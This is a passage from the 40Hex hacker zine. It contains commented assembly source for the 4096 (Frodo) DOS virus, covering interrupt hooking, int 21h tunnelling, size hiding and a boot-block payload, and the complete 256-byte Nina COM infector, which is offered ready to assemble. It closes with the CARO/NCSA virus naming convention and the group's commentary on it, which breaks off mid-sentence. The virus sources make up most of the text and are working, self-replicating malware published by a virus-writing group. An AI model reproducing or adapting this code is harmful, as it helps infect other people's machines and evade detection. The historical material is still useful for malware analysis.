|||
|
push cs ; save these on stack for
|
|||
|
mov ax,offset setvirusints ; return to setvirusints
|
|||
|
push ax
|
|||
|
mov ax,70h
|
|||
|
mov es,ax
|
|||
|
mov cx,0FFFFh
|
|||
|
mov al,0CBh ; retf
|
|||
|
xor di,di
|
|||
|
repne scasb ;scan es:di for retf statement
|
|||
|
dec di ; es:di->retf statement
|
|||
|
pushf
|
|||
|
push es ; set up stack for iret to
|
|||
|
push di ; the retf statement which
|
|||
|
; will cause transfer of
|
|||
|
; control to setvirusints
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
or ah,1 ; turn on the trap flag
|
|||
|
push ax
|
|||
|
in al,21h ; save IMR in temporary
|
|||
|
mov ds:saveIMR,al ; buffer and then
|
|||
|
mov al,0FFh ; disable all the
|
|||
|
out 21h,al ; interrupts
|
|||
|
popf
|
|||
|
xor ax,ax ; reset disk
|
|||
|
jmp dword ptr ds:origints ; (int 13h call)
|
|||
|
; then transfer control to
|
|||
|
setvirusints: ; setvirusints
|
|||
|
lds dx,dword ptr ds:oldint1
|
|||
|
mov al,1 ; restore old int 1 handler
|
|||
|
call setvect
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset int13 ; replace old int 13h handler
|
|||
|
mov al,13h ; with virus's
|
|||
|
call setvect
|
|||
|
mov al,24h ; Get old critical error
|
|||
|
call getint ; handler and save its
|
|||
|
mov word ptr ds:oldint24,bx ; location
|
|||
|
mov word ptr ds:oldint24+2,es
|
|||
|
mov dx,offset int24
|
|||
|
mov al,24h ; Replace int 24 handler
|
|||
|
call setvect ; with virus's handler
|
|||
|
call restoreregs
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
restoreint13and24:
|
|||
|
call saveregs
|
|||
|
lds dx,dword ptr cs:oldint13
|
|||
|
mov al,13h
|
|||
|
call setvect
|
|||
|
lds dx,dword ptr cs:oldint24
|
|||
|
mov al,24h
|
|||
|
call setvect
|
|||
|
call restoreregs
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
disableBREAK:
|
|||
|
mov ax,3300h ; Get current BREAK setting
|
|||
|
call callint21
|
|||
|
mov cs:BREAKsave,dl
|
|||
|
mov ax,3301h ; Turn BREAK off
|
|||
|
xor dl,dl
|
|||
|
call callint21
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
restoreBREAK:
|
|||
|
mov dl,cs:BREAKsave
|
|||
|
mov ax,3301h ; restore BREAK setting
|
|||
|
call callint21
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
_pushall:
|
|||
|
pop word ptr cs:pushpopalltempstore
|
|||
|
pushf
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
push es
|
|||
|
jmp word ptr cs:pushpopalltempstore
|
|||
|
|
|||
|
swapvirint21:
|
|||
|
les di,dword ptr cs:oldint21; delve into original int
|
|||
|
mov si,offset jmpfarptr ; handler and swap the first
|
|||
|
push cs ; 5 bytes. This toggles it
|
|||
|
pop ds ; between a jmp to the virus
|
|||
|
cld ; code and the original 5
|
|||
|
mov cx,5 ; bytes of the int handler
|
|||
|
swapvirint21loop: ; this is a tunnelling method
|
|||
|
lodsb ; if I ever saw one
|
|||
|
xchg al,es:[di] ; puts the bytes in DOS's
|
|||
|
mov [si-1],al ; int 21h handler
|
|||
|
inc di
|
|||
|
loop swapvirint21loop
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
_popall:
|
|||
|
pop word ptr cs:pushpopalltempstore
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
jmp word ptr cs:pushpopalltempstore
|
|||
|
|
|||
|
restoreregs:
|
|||
|
mov word ptr cs:storecall,offset _popall
|
|||
|
jmp short do_saverestoreregs
|
|||
|
|
|||
|
saveregs:
|
|||
|
mov word ptr cs:storecall,offset _pushall
|
|||
|
do_saverestoreregs:
|
|||
|
mov cs:storess,ss ; save stack
|
|||
|
mov cs:storesp,sp
|
|||
|
push cs
|
|||
|
pop ss
|
|||
|
mov sp,cs:stackptr ; set new stack
|
|||
|
call word ptr cs:storecall
|
|||
|
mov cs:stackptr,sp ; update internal stack ptr
|
|||
|
mov ss,cs:storess ; and restore stack to
|
|||
|
mov sp,cs:storesp ; caller program's stack
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
replaceint1:
|
|||
|
mov al,1 ; get the old interrupt
|
|||
|
call getint ; 1 handler and save it
|
|||
|
mov word ptr cs:oldint1,bx ; for later restoration
|
|||
|
mov word ptr cs:oldint1+2,es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset int1 ; set int 1 handler to
|
|||
|
call setvect ; the virus int handler
|
|||
|
retn
|
|||
|
|
|||
|
allocatememory:
|
|||
|
call allocate_memory
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
allocate_memory:
|
|||
|
cmp byte ptr cs:checkres,0 ; installed check
|
|||
|
je exitallocate_memory ; exit if installed
|
|||
|
cmp bx,0FFFFh ; finding total memory?
|
|||
|
jne exitallocate_memory ; (virus trying to install?)
|
|||
|
mov bx,160h ; allocate memory to virus
|
|||
|
call callint21
|
|||
|
jc exitallocate_memory ; exit on error
|
|||
|
mov dx,cs
|
|||
|
cmp ax,dx
|
|||
|
jb continue_allocate_memory
|
|||
|
mov es,ax
|
|||
|
mov ah,49h ; Free memory
|
|||
|
call callint21
|
|||
|
jmp short exitallocate_memory
|
|||
|
continue_allocate_memory:
|
|||
|
dec dx ; get segment of MCB
|
|||
|
mov ds,dx
|
|||
|
mov word ptr ds:[1],0 ; mark unused MCB
|
|||
|
inc dx ; go to memory area
|
|||
|
mov ds,dx
|
|||
|
mov es,ax
|
|||
|
push ax
|
|||
|
mov word ptr cs:int21store+2,ax ; fixup segment
|
|||
|
xor si,si
|
|||
|
mov di,si
|
|||
|
mov cx,0B00h
|
|||
|
rep movsw ; copy virus up there
|
|||
|
dec ax ; go to MCB
|
|||
|
mov es,ax
|
|||
|
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
|
|||
|
mov es:[1],ax ; make vir ID = DOS PSP ID
|
|||
|
mov ax,offset exitallocate_memory
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
exitallocate_memory:
|
|||
|
retn
|
|||
|
|
|||
|
get_device_info:
|
|||
|
mov byte ptr cs:hide_size,2
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
callint21: ; call original int 21h handler (tunnelled)
|
|||
|
pushf
|
|||
|
call dword ptr cs:oldint21
|
|||
|
retn
|
|||
|
|
|||
|
bootblock:
|
|||
|
cli
|
|||
|
xor ax,ax ; set new stack just below
|
|||
|
mov ss,ax ; start of load area for
|
|||
|
mov sp,7C00h ; boot block
|
|||
|
jmp short enter_bootblock
|
|||
|
borderchars db '<27><><EFBFBD> '
|
|||
|
|
|||
|
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
|
|||
|
db 11111001b,11100000b,11100011b,11000011b,10000000b
|
|||
|
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
|||
|
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
|||
|
db 11110001b,11110001b,00010010b,00100100b,01000000b
|
|||
|
db 10000001b,00100001b,00010010b,00100100b,01000000b
|
|||
|
db 10000001b,00010000b,11100011b,11000011b,10000000b
|
|||
|
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
|||
|
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
|||
|
db 10000010b,01000100b,11111000b,01110000b,11000000b
|
|||
|
db 10000010b,01000100b,10000000b,10001000b,11000000b
|
|||
|
db 10000010b,01000100b,10000000b,10000000b,11000000b
|
|||
|
db 10000010b,01000100b,11110000b,01110000b,11000000b
|
|||
|
db 10000010b,00101000b,10000000b,00001000b,11000000b
|
|||
|
db 10000010b,00101000b,10000000b,10001000b,00000000b
|
|||
|
db 11110010b,00010000b,11111000b,01110000b,11000000b
|
|||
|
enter_bootblock:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,0B000h ; get video page in bh
|
|||
|
mov ah,0Fh ; get video mode in al
|
|||
|
int 10h ; get columns in ah
|
|||
|
|
|||
|
cmp al,7 ; check if colour
|
|||
|
je monochrome
|
|||
|
mov dx,0B800h ; colour segment
|
|||
|
monochrome:
|
|||
|
mov es,dx ; es->video segment
|
|||
|
cld
|
|||
|
xor di,di
|
|||
|
mov cx,25*80 ; entire screen
|
|||
|
mov ax,720h ; ' ', normal attribute
|
|||
|
rep stosw ; clear the screen
|
|||
|
mov si,7C00h+FRODO_LIVES-bootblock
|
|||
|
mov bx,2AEh
|
|||
|
morelinestodisplay:
|
|||
|
mov bp,5
|
|||
|
mov di,bx
|
|||
|
displaymorebackgroundontheline:
|
|||
|
lodsb ; get background pattern
|
|||
|
mov dh,al
|
|||
|
mov cx,8
|
|||
|
|
|||
|
displayinitialbackground:
|
|||
|
mov ax,720h
|
|||
|
shl dx,1
|
|||
|
jnc spacechar
|
|||
|
mov al,'<27>'
|
|||
|
spacechar:
|
|||
|
stosw
|
|||
|
loop displayinitialbackground
|
|||
|
|
|||
|
dec bp
|
|||
|
jnz displaymorebackgroundontheline
|
|||
|
add bx,80*2 ; go to next line
|
|||
|
cmp si,7C00h+enter_bootblock-bootblock
|
|||
|
jb morelinestodisplay
|
|||
|
mov ah,1 ; set cursor mode to cx
|
|||
|
int 10h
|
|||
|
|
|||
|
mov al,8 ; set new int 8 handler
|
|||
|
mov dx,7C00h+int8-bootblock ; to spin border
|
|||
|
call setvect
|
|||
|
mov ax,7FEh ; enable timer interrupts only
|
|||
|
out 21h,al
|
|||
|
|
|||
|
sti
|
|||
|
xor bx,bx
|
|||
|
mov cx,1
|
|||
|
jmp short $ ; loop forever while
|
|||
|
; spinning the border
|
|||
|
|
|||
|
int8: ; the timer interrupt spins
|
|||
|
dec cx ; the border
|
|||
|
jnz endint8
|
|||
|
xor di,di
|
|||
|
inc bx
|
|||
|
call spin_border
|
|||
|
call spin_border
|
|||
|
mov cl,4 ; wait 4 more ticks until
|
|||
|
endint8: ; next update
|
|||
|
mov al,20h ; Signal end of interrupt
|
|||
|
out 20h,al
|
|||
|
iret
|
|||
|
|
|||
|
spin_border:
|
|||
|
mov cx,28h ; do 40 characters across
|
|||
|
|
|||
|
dohorizontal:
|
|||
|
call lookup_border_char
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
loop dohorizontal
|
|||
|
patch2:
|
|||
|
add di,9Eh ; go to next line
|
|||
|
mov cx,17h ; do for next 23 lines
|
|||
|
|
|||
|
dovertical: ; handle vertical borders
|
|||
|
call lookup_border_char ; get border character
|
|||
|
stosw ; print it on screen
|
|||
|
patch3:
|
|||
|
add di,9Eh ; go to next line
|
|||
|
loop dovertical
|
|||
|
patch1:
|
|||
|
std
|
|||
|
; this code handles the other half of the border
|
|||
|
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
|
|||
|
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
|
|||
|
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
lookup_border_char:
|
|||
|
and bx,3 ; find corresponding border
|
|||
|
mov al,ds:[bx+7C00h+borderchars-bootblock]
|
|||
|
inc bx ; character
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
setvect:
|
|||
|
push es
|
|||
|
push bx
|
|||
|
xor bx,bx
|
|||
|
mov es,bx
|
|||
|
mov bl,al ; int # to bx
|
|||
|
shl bx,1 ; int # * 4 = offset in
|
|||
|
shl bx,1 ; interrupt table
|
|||
|
mov es:[bx],dx ; set the vector in the
|
|||
|
mov es:[bx+2],ds ; interrupt table
|
|||
|
pop bx
|
|||
|
pop es
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
|
|||
|
call replaceint13and24
|
|||
|
mov dl,80h
|
|||
|
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
|
|||
|
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
|
|||
|
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
|
|||
|
db 03h, 6Ch, 15h, 03h, 00h, 26h
|
|||
|
db 00h, 00h, 00h, 21h, 00h, 50h
|
|||
|
db 12h, 65h, 14h, 82h, 08h, 00h
|
|||
|
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
|
|||
|
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
|
|||
|
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
|
|||
|
db 00h,0E2h, 0Ch, 50h
|
|||
|
|
|||
|
org 1200h
|
|||
|
readbuffer dw ? ; beginning of the read buffer
|
|||
|
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
|
|||
|
lengthinpages dw ? ; EXE header item - length of image in pages
|
|||
|
relocationitems dw ? ; EXE header item - # relocation items
|
|||
|
headersize dw ? ; EXE header item - header size in paragraphs
|
|||
|
minmemory dw ? ; EXE header item - minimum memory allocation
|
|||
|
maxmemory dw ? ; EXE header item - maximum memory allocation
|
|||
|
initialSS dw ? ; EXE header item - initial SS value
|
|||
|
initialSP dw ? ; EXE header item - initial SP value
|
|||
|
wordchecksum dw ? ; EXE header item - checksum value
|
|||
|
initialIP dw ? ; EXE header item - initial IP value
|
|||
|
initialCS dw ? ; EXE header item - initial CS value
|
|||
|
db 12 dup (?) ; rest of header - unused
|
|||
|
parmblock dd ? ; address of parameter block
|
|||
|
filedrive db ? ; 0 = default drive
|
|||
|
filetime dw ? ; saved file time
|
|||
|
filedate dw ? ; saved file date
|
|||
|
origints dd ? ; temporary scratch buffer for interrupt vectors
|
|||
|
oldint1 dd ? ; original interrupt 1 vector
|
|||
|
oldint21 dd ? ; original interrupt 21h vector
|
|||
|
oldint13 dd ? ; original interrupt 13h vector
|
|||
|
oldint24 dd ? ; original interrupt 24h vector
|
|||
|
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
|
|||
|
carrierPSP dw ? ; carrier file PSP segment
|
|||
|
DOSsegment dw ? ; segment of DOS list of lists
|
|||
|
ownerfirstMCB dw ? ; owner of the first MCB
|
|||
|
jmpfarptr db ? ; 0eah, jmp far ptr
|
|||
|
int21store dd ? ; temporary storage for other 4 bytes
|
|||
|
; and for pointer to virus int 21h
|
|||
|
tracemode db ? ; trace mode
|
|||
|
instructionstotrace db ? ; number of instructions to trace
|
|||
|
handletable dw 28h dup (?) ; array of handles
|
|||
|
handlesleft db ? ; entries left in table
|
|||
|
currentPSP dw ? ; storage for the current PSP segment
|
|||
|
curfileposlow dw ? ; current file pointer location, low word
|
|||
|
curfileposhigh dw ? ; current file pointer location, high word
|
|||
|
filesizelow dw ? ; current file size, low word
|
|||
|
filesizehigh dw ? ; current file size, high word
|
|||
|
savebuffer dw ? ; storage for handle read, etc.
|
|||
|
savelength dw ? ; functions
|
|||
|
return_code dw ? ; returned in AX on exit of int 21h
|
|||
|
int21flags dw ? ; storage of int 21h return flags register
|
|||
|
tempFCB db 25h dup (?) ; copy of the FCB
|
|||
|
errorflag db ? ; 0 if no error, 1 if error
|
|||
|
int13flags dw ? ; storage of int 13h return flags register
|
|||
|
savess dw ? ; temporary storage of stack segment
|
|||
|
savesp dw ? ; and stack pointer
|
|||
|
BREAKsave db ? ; current BREAK state
|
|||
|
checkres db ? ; already installed flag
|
|||
|
initialax dw ? ; AX upon entry to carrier
|
|||
|
saveIMR db ? ; storage for interrupt mask register
|
|||
|
saveoffset dw ? ; temp storage of CS:IP of
|
|||
|
savesegment dw ? ; caller to int 21h
|
|||
|
pushpopalltempstore dw ? ; push/popall caller address
|
|||
|
numfreeclusters dw ? ; total free clusters
|
|||
|
DOSversion db ? ; current DOS version
|
|||
|
hideclustercountchange db ? ; flag of whether to hide free cluster count
|
|||
|
hide_size db ? ; hide filesize increase if equal to 0
|
|||
|
copyparmblock db 0eh dup (?) ; copy of the parameter block
|
|||
|
origsp dw ? ; temporary storage of stack pointer
|
|||
|
origss dw ? ; and stack segment
|
|||
|
origcsip dd ? ; temporary storage of caller CS:IP
|
|||
|
copyfilename db 50h dup (?) ; copy of filename
|
|||
|
storesp dw ? ; temporary storage of stack pointer
|
|||
|
storess dw ? ; and stack segment
|
|||
|
stackptr dw ? ; register storage stack pointer
|
|||
|
storecall dw ? ; temporary storage of function offset
|
|||
|
|
|||
|
topstack = 1600h
|
|||
|
|
|||
|
_4096 ends
|
|||
|
end
|
|||
|
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 006
|
|||
|
|
|||
|
Below is the Nina virus. It's a 256 byte generic COM infector supposedly
|
|||
|
originating in Bulgaria. Although some minor portions are not as highly
|
|||
|
optimised as they could be, the code is well-written. Items of note include
|
|||
|
the infection method, which is somewhat reminiscent of Jerusalem, the
|
|||
|
installation check handler in int 21h, and the residency routine. As always,
|
|||
|
use Tasm to assemble.
|
|||
|
|
|||
|
Dark Angel
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
; Disassembly done by Dark Angel of Phalcon/Skism
|
|||
|
; for 40Hex Number 9, Volume 2 Issue 5
|
|||
|
start:
|
|||
|
push ax
|
|||
|
mov ax,9753h ; installation check
|
|||
|
int 21h
|
|||
|
mov ax,ds
|
|||
|
dec ax
|
|||
|
mov ds,ax ; ds->program MCB
|
|||
|
mov ax,ds:[3] ; get size word
|
|||
|
push bx
|
|||
|
push es
|
|||
|
sub ax,40h ; reserve 40h paragraphs
|
|||
|
mov bx,ax
|
|||
|
mov ah,4Ah ; Shrink memory allocation
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,48h ; Allocate 3Fh paragraphs
|
|||
|
mov bx,3Fh ; for the virus
|
|||
|
int 21h
|
|||
|
|
|||
|
mov es,ax ; copy virus to high
|
|||
|
xor di,di ; memory
|
|||
|
mov si,offset start + 10h ; start at MCB:110h
|
|||
|
mov cx,100h ; (same as PSP:100h)
|
|||
|
rep movsb
|
|||
|
sub ax,10h ; adjust offset as if it
|
|||
|
push ax ; originated at 100h
|
|||
|
mov ax,offset highentry
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
endfile dw 100h ; size of infected COM file
|
|||
|
|
|||
|
highentry:
|
|||
|
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
|
|||
|
; memory isn't freed when the
|
|||
|
; program terminates
|
|||
|
mov ax,3521h ; get int 21h vector
|
|||
|
int 21h
|
|||
|
|
|||
|
mov word ptr cs:oldint21,bx ; save it
|
|||
|
mov word ptr cs:oldint21+2,es
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov dx,bx
|
|||
|
mov ax,2591h ; redirect int 91h to int 21h
|
|||
|
int 21h
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset int21
|
|||
|
mov al,21h ; set int 21h to virus vector
|
|||
|
int 21h
|
|||
|
|
|||
|
pop ds ; ds->original program PSP
|
|||
|
pop bx
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
return_COM:
|
|||
|
mov di,100h ; restore original
|
|||
|
mov si,endfile ; file
|
|||
|
add si,di ; adjust for COM starting
|
|||
|
mov cx,100h ; offset
|
|||
|
rep movsb
|
|||
|
pop ax
|
|||
|
push ds ; jmp back to original
|
|||
|
mov bp,100h ; file (PSP:100)
|
|||
|
push bp
|
|||
|
retf
|
|||
|
exit_install:
|
|||
|
pop ax ; pop CS:IP and flags in
|
|||
|
pop ax ; order to balance the
|
|||
|
pop ax ; stack and then exit the
|
|||
|
jmp short return_COM ; infected COM file
|
|||
|
int21:
|
|||
|
cmp ax,9753h ; installation check?
|
|||
|
je exit_install
|
|||
|
cmp ax,4B00h ; execute?
|
|||
|
jne exitint21 ; nope, quit
|
|||
|
push ax ; save registers
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
call infect
|
|||
|
pop ds ; restore registers
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
exitint21:
|
|||
|
db 0eah ; jmp far ptr
|
|||
|
oldint21 dd ?
|
|||
|
|
|||
|
infect:
|
|||
|
mov ax,3D02h ; open file read/write
|
|||
|
int 91h
|
|||
|
jc exit_infect
|
|||
|
mov bx,ax
|
|||
|
mov cx,100h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ah,3Fh ; Read first 100h bytes
|
|||
|
mov dx,offset endvirus
|
|||
|
int 91h
|
|||
|
mov ax,word ptr endvirus
|
|||
|
cmp ax,'MZ' ; exit if EXE
|
|||
|
je close_exit_infect
|
|||
|
cmp ax,'ZM' ; exit if EXE
|
|||
|
je close_exit_infect
|
|||
|
cmp word ptr endvirus+2,9753h ; exit if already
|
|||
|
je close_exit_infect ; infected
|
|||
|
mov al,2 ; go to end of file
|
|||
|
call move_file_pointer
|
|||
|
cmp ax,0FEB0h ; exit if too large
|
|||
|
ja close_exit_infect
|
|||
|
cmp ax,1F4h ; or too small for
|
|||
|
jb close_exit_infect ; infection
|
|||
|
mov endfile,ax ; save file size
|
|||
|
call write
|
|||
|
mov al,0 ; go to start of file
|
|||
|
call move_file_pointer
|
|||
|
mov dx,100h ; write virus
|
|||
|
call write
|
|||
|
close_exit_infect:
|
|||
|
mov ah,3Eh ; Close file
|
|||
|
int 91h
|
|||
|
exit_infect:
|
|||
|
retn
|
|||
|
|
|||
|
move_file_pointer:
|
|||
|
push dx
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
mov ah,42h
|
|||
|
int 91h
|
|||
|
pop dx
|
|||
|
retn
|
|||
|
|
|||
|
write:
|
|||
|
mov ah,40h
|
|||
|
mov cx,100h
|
|||
|
int 91h
|
|||
|
retn
|
|||
|
|
|||
|
db ' Nina '
|
|||
|
endvirus:
|
|||
|
int 20h ; original COM file
|
|||
|
|
|||
|
end start
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 007
|
|||
|
|
|||
|
-------------------------------------------------------------------------
|
|||
|
A New Virus Naming Convention
|
|||
|
|
|||
|
|
|||
|
At the Anti-Virus Product Developers Conference organized by NCSA in
|
|||
|
Washington in November 1991 a committee was formed with the objective
|
|||
|
of reducing the confusion in virus naming. This committee consisted
|
|||
|
of Fridrik Skulason (Virus Bulletin's technical editor) Alan Solomon
|
|||
|
(S&S International) and Vesselin Bontchev (University of Hamburg).
|
|||
|
|
|||
|
The following naming convention was chosen:
|
|||
|
|
|||
|
The full name of a virus consists of up to four parts, desimited by
|
|||
|
points ('.'). Any part may be missing, but at least one must be
|
|||
|
present. The general format is
|
|||
|
|
|||
|
Family_Name.Group_Name.Major_Variant.Minor_Variant
|
|||
|
|
|||
|
Each part is an identifier, constructed with the characters
|
|||
|
[A-Za-z0-9_$%&!'`#-]. The non-alphanumeric characters are permitted,
|
|||
|
but should be avoided. The identifier is case-insensitive, but
|
|||
|
mixed-case characters should be used for readability. Usage of
|
|||
|
underscore ('_') (instead of space) is permitted, if it improves
|
|||
|
readability. Each part is up to 20 characters long (in order to allow
|
|||
|
such monstriosities like "Green_Caterpillar"), but shorter names
|
|||
|
should be used whenever possible. However, if the shorter name is
|
|||
|
just an abbreviation of the long name, it's better to use the long
|
|||
|
name.
|
|||
|
|
|||
|
1. Family names.
|
|||
|
|
|||
|
The Family_Name represents the family to which the virus belongs.
|
|||
|
Every attempt is made to group the existing viruses into families,
|
|||
|
depending on the structural similarities of the viruses, but we
|
|||
|
understand that a formal definition of a family is impossible.
|
|||
|
|
|||
|
When selecting a Family_Name, the following guidelines must be
|
|||
|
applied:
|
|||
|
|
|||
|
"Must"
|
|||
|
|
|||
|
1) Do not use company names, brand names or names of living people,
|
|||
|
except where the virus is provably written by the person. Common
|
|||
|
first names are permissible, but be careful - avoid if possible.
|
|||
|
In particular, avoid names associated with the anti-virus world.
|
|||
|
If a virus claims to be written by a particular person or company
|
|||
|
do not believe it without further proof.
|
|||
|
|
|||
|
2) Do not use an existing Family_Name, unless the viruses belong to
|
|||
|
the same family.
|
|||
|
|
|||
|
3) Do not invent a new name if there is an existing, acceptable name.
|
|||
|
|
|||
|
4) Do not use obscene or offensive names.
|
|||
|
|
|||
|
5) Do not assume that just because an infected sample arrives with a
|
|||
|
particular name, that the virus has that name.
|
|||
|
|
|||
|
6) Avoid numeric Family_Names like V845. They should never be used as
|
|||
|
family names, as the members of the family may have different
|
|||
|
lengths. When a new virus appears and a new Family_Name must be
|
|||
|
selected for it, it is acceptable to us a temporary name like
|
|||
|
_1234, but this must be changed as soon as possible.
|
|||
|
|
|||
|
"Should"
|
|||
|
|
|||
|
1) Avoid Family_Names like Friday 13th, September 22nd. They should
|
|||
|
not be used as family names, as members of the family may have
|
|||
|
different activation dates.
|
|||
|
|
|||
|
2) Avoid geographic names which are based on the discovery site - the
|
|||
|
same virus might appear simultaneously in several different places.
|
|||
|
|
|||
|
3) If multiple acceptable names exist, select the original one, the
|
|||
|
one used by the majority of existing anti-virus programs or the
|
|||
|
more descriptive one.
|
|||
|
|
|||
|
"General"
|
|||
|
|
|||
|
1) All short (less than 60 bytes) overwriting viruses are grouped
|
|||
|
under a Family_Name, called Trivial.
|
|||
|
|
|||
|
2. Group names.
|
|||
|
|
|||
|
The Group_Name represents a major group of similar viruses in a virus
|
|||
|
family, something like a sub-family. Examples are AntiCAD (a
|
|||
|
distinguished clone of the Jerusalem family, containing numerous
|
|||
|
variants), or 1704 (a group of several virus variants in the Cascade
|
|||
|
family).
|
|||
|
|
|||
|
When selecting a Group_Name, the same guidelines as for a Family_Name
|
|||
|
should be applied, except that numeric names are more permissible -
|
|||
|
but only if the respective group of viruses is well known under this
|
|||
|
name.
|
|||
|
|
|||
|
3. Major variant name.
|
|||
|
|
|||
|
The major variant name is used to group viruses in a Group_Name, which
|
|||
|
are very similar, and usually have one and the same infective length.
|
|||
|
Again, the above guidelines are applied, with one major exception.
|
|||
|
The Major_Variant is almost always a number, representing the
|
|||
|
infective length, since it helps to distinguish that particular
|
|||
|
sub-group of viruses. The infective length should be used as
|
|||
|
Major_Variant name always when it is known. Exceptions of this rule
|
|||
|
are:
|
|||
|
|
|||
|
1) When the infective length is not known, because the viruses are not
|
|||
|
yet analyzed. In this case, consecutive numbers are used (1, 2, 3,
|
|||
|
etc.). This should be changed as soon as more information about
|
|||
|
the viruses becomes known.
|
|||
|
|
|||
|
2) When an alpha-numeric name of the virus sub-group already exists
|
|||
|
and is popular, or more descriptive.
|
|||
|
|
|||
|
4. Minor variant name.
|
|||
|
|
|||
|
Minor variants are viruses with the same infective length, with
|
|||
|
similar structure and behaviour, but slightly different. Usually the
|
|||
|
minor variants are different patches of one and the same virus.
|
|||
|
|
|||
|
When selecting a Minor_Variant name, usually consecutive letters of
|
|||
|
the alphabet are used (A, B, C, etc...). However, this is not a very
|
|||
|
hard restriction and longer names can be used as well, especially if
|
|||
|
the virus is already known under this (longer) name, or if the name is
|
|||
|
more descriptive than just a letter.
|
|||
|
|
|||
|
|
|||
|
The producers of virus detection software are strongly usrged to use
|
|||
|
the virus names proposed here. The anti-virus researchers are advised
|
|||
|
to use the described guidelines when selecting names for new viruses,
|
|||
|
in order to avoid further confusion.
|
|||
|
|
|||
|
If a scanner is not able to distinguish between tow minor variants of
|
|||
|
a virus, it should output the virus name up to the recognized major
|
|||
|
variant. For instance, if it cannot distinguish between
|
|||
|
Dark_Avenger.2000.Traveller.Copy and Dark.Avenger.Traveller.Zopy, it
|
|||
|
should report both variants of the virus as Dark.Avenger.Traveller.
|
|||
|
|
|||
|
If it is also not able to distinguish between the major variants, it
|
|||
|
should report the virus up to the recognized group name. That is, if
|
|||
|
the scanner cannot make the difference between
|
|||
|
Dark_Avenger.2000.Traveller.* and Dark_Avenger.2000.Die_Young, it
|
|||
|
should report all the variants as Dark_Avenger.2000.
|
|||
|
-------------------------------------------------------------------------
|
|||
|
|
|||
|
We at Phalcon/Skism welcome the proposals of this new committee. It
|
|||
|
is a step in the right direction, helping clear up the mess caused by the
|
|||
|
generation disorganisation which has dominated the virus naming conventions
|
|||
|
to date. Additionally, if implemented properly, it will aid in
|
|||
|
identification of strains. John McAfee's SCAN, which had been the best
|
|||
|
virus scanner, fell from grace recently, when it implemented a new policy
|
|||
|
of merging scan strings, causing confusion in identification. Fridrik
|
|||
|
Skulason's F-Prot is the current champion of virus identification.
|
|||
|
|
|||
|
However, we must voice concerns that the rules are not strict enough.
|
|||
|
There are clearly too few rules to cover the numerous viruses which
|
|||
|
currently exist. Family, group, and major variant names for most current
|
|||
|
common viruses should be established now. These guidelines need be created
|
|||
|
ASAP to avoid later confusion. In the example in the last two paragraphs,
|
|||
|
Dark Avenger strains are labelled separately as Dark_Avenger.2000 and
|
|||
|
Dark.Avenger. Such confusion is simply not acceptable.
|
|||
|
|
|||
|
Wherever possible, the current common names should be kept. It would
|
|||
|
be a shame if the world lost the Jerusalem family to some mad individual
|
|||
|
who wishes to name it 1808. The rules cover this, but it is important to
|
|||
|
set this down initially before stupid people butcher the rules. Number
|
|||
|
names are neither informative nor interesting. Imagine advertising a
|
|||
|
product as being able to catch "the deadly 605 virus." Some knobs have
|
|||
|
proposed a numerical classification scheme of viruses. They're living in a
|
|||
|
dream world.
|
|||
|
|
|||
|
We applaud the efforts of the committee and may only hope that anti-
|
|||
|
virus developers attempt to adhere to the proposed rules. Hopefully, Mr.
|
|||
|
Skulason and Dr. Solomon will lead the way, converting their own products
|
|||
|
to this new naming convention. And who will classify the viruses? We
|
|||
|
